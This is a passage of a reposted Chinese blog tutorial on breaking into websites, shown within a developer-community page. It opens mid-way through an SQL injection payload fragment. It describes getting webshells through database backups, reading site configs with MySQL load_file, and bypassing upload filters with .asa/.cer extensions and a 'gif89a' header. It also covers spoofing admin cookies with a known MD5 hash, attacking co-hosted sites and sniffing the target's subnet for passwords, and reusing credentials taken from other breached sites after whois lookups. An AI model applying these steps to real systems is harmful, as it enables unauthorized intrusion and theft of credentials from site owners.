/add")');--如果上述方法仍然不行,那就猜解出后台帐户和密码,然后登陆后台。看看有没什么可以利用的。2:db权限Db权限可以列出网站目录,然后备份。用一句话连接得到webshell.如果可以列目录,但无法备份,也同样可以利用找其他漏洞来入侵。毕竟整个网站都可以被你浏览了。然后就是猜解出后台帐户和密码登陆后台了。还有一种就是关于一篇db权限备份到启动项得到系统权限。public权限此权限很多人不会利用。但是可以列出目录的。Mysql数据库:Root权限下可以直接利用loadfile读取网站的文件内容(网站的配置信息)然后就是注入语句得到管理员密码,登陆后台二:上传类1:直接上传木马2:修改后缀名修改。比如修改成.asa  .cer等。3:图片头欺骗在木马代码前加上 gif89a,有时可以成功通过验证。4:抓包nc上传这个比较烦。这个可以大家自己从网上找一下相关的文章和教程。5:直接(抓包)利用明小子或者其他工具上传木马三:暴库:详细请在论坛或者百度搜索相关文章。现在暴库漏洞很少了。四:cookies欺骗。如果我们现在已经知道了XX站管理员的站号和MD5密码了 但是破解 不出来密码(MD5是加密后的一个16位的密码)我们就可以用COOKIE诈骗来实现,把自己的ID修改成管理员的,MD5密码也修改成他的,有工具可以修改 COOKIE 这样就答到了COOKIE诈骗的目的,系统以为你就是管理员了。(这个漏洞在新云2.0里可以利用)五:旁注什么是旁注呢?在我们入侵目标站点不成功的时候,我们可以通过入侵它服务器的其他网站,得到webshell,然后提权。这点就需要你对提权有所认识的基础下了。在上述几种方法中我把SQL注入讲的稍微详细些。因为毕竟现在SQL注入满天飞。其他几种漏洞不是太多的。但也不少。呵呵。五:嗅探当我们入侵目标网站无望,且旁注无望时,我们就需要入侵服务器所在的C段去得到一个服务器。比如我们的目标是222.222.222.1。那我们就需要入侵222.222.222.2----222.222.222.255中的一台。然后去嗅探得到目标的21 80 1433 3306 3389等对应端口的相关密码。六.社会工程学入侵。whois查询。得到管理员的姓名,邮箱,电话,等等之类信息然后通过得到一些信息,可以利用。比如我们得到xxx.com的管理员油箱是aaa@163.com我们就可以去google搜索:aaa@163.com或者是aaa.以此类推。入侵一个比较容易拿下的站。然后查询数据库得到此帐户注册时的密码。可以试下是否是油箱的密码。甚至是这个网站的后台,ftp,等的密码。社会工程学太深了。我也没办法讲很多。但我刚说的这点已经利用很大了。主要利用的还是个人心理。一般密码设置很多都会去用同一个密码的。总结:渗透这东西太复杂了。主要还是靠自己的灵活运用。以及对各种入侵方法的理解。无论什么东西。都是在你不断的尝试与探索下得到的。  本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/437819,如需转载请自行联系原作者
文章
Web App开发  ·  SQL  ·  安全  ·  数据库  ·  数据安全/隐私保护
2017-11-16
跳转至:
阿里云开发者学堂
130349 人关注 | 7314 讨论 | 12051 内容
+ 订阅
  • 企业运维训练营之云上监控运维最佳实践启动!参营送好礼
  • 可观测Grafana入门训练营,帮助同学们由浅入深的对阿里云Grafana服务拥有全面了解
  • 【开发者7日学】求职达人训练营上线啦~快来打卡赢好礼
查看更多 >
开发与运维
5786 人关注 | 133444 讨论 | 319618 内容
+ 订阅
  • vmware 设置 系统环境
  • 谷歌大数据的三驾马车
  • Java的运行时数据区域
查看更多 >
安全
1247 人关注 | 24148 讨论 | 85930 内容
+ 订阅
  • Handler消息传递机制浅析
  • 网站使用了HTTPS之后,速度会变慢,底层原理是什么?
  • HTTP和HTTPS的区别是什么?底层原理是什么?
查看更多 >
数据库
252947 人关注 | 52318 讨论 | 99303 内容
+ 订阅
  • 这个ChatGPT插件可以远程运行代码,还生成图表
  • 谷歌大数据的三驾马车
  • Java的运行时数据区域
查看更多 >
人工智能
2875 人关注 | 12395 讨论 | 102729 内容
+ 订阅
  • 这个ChatGPT插件可以远程运行代码,还生成图表
  • 冒泡排序
  • 谷歌大数据的三驾马车
查看更多 >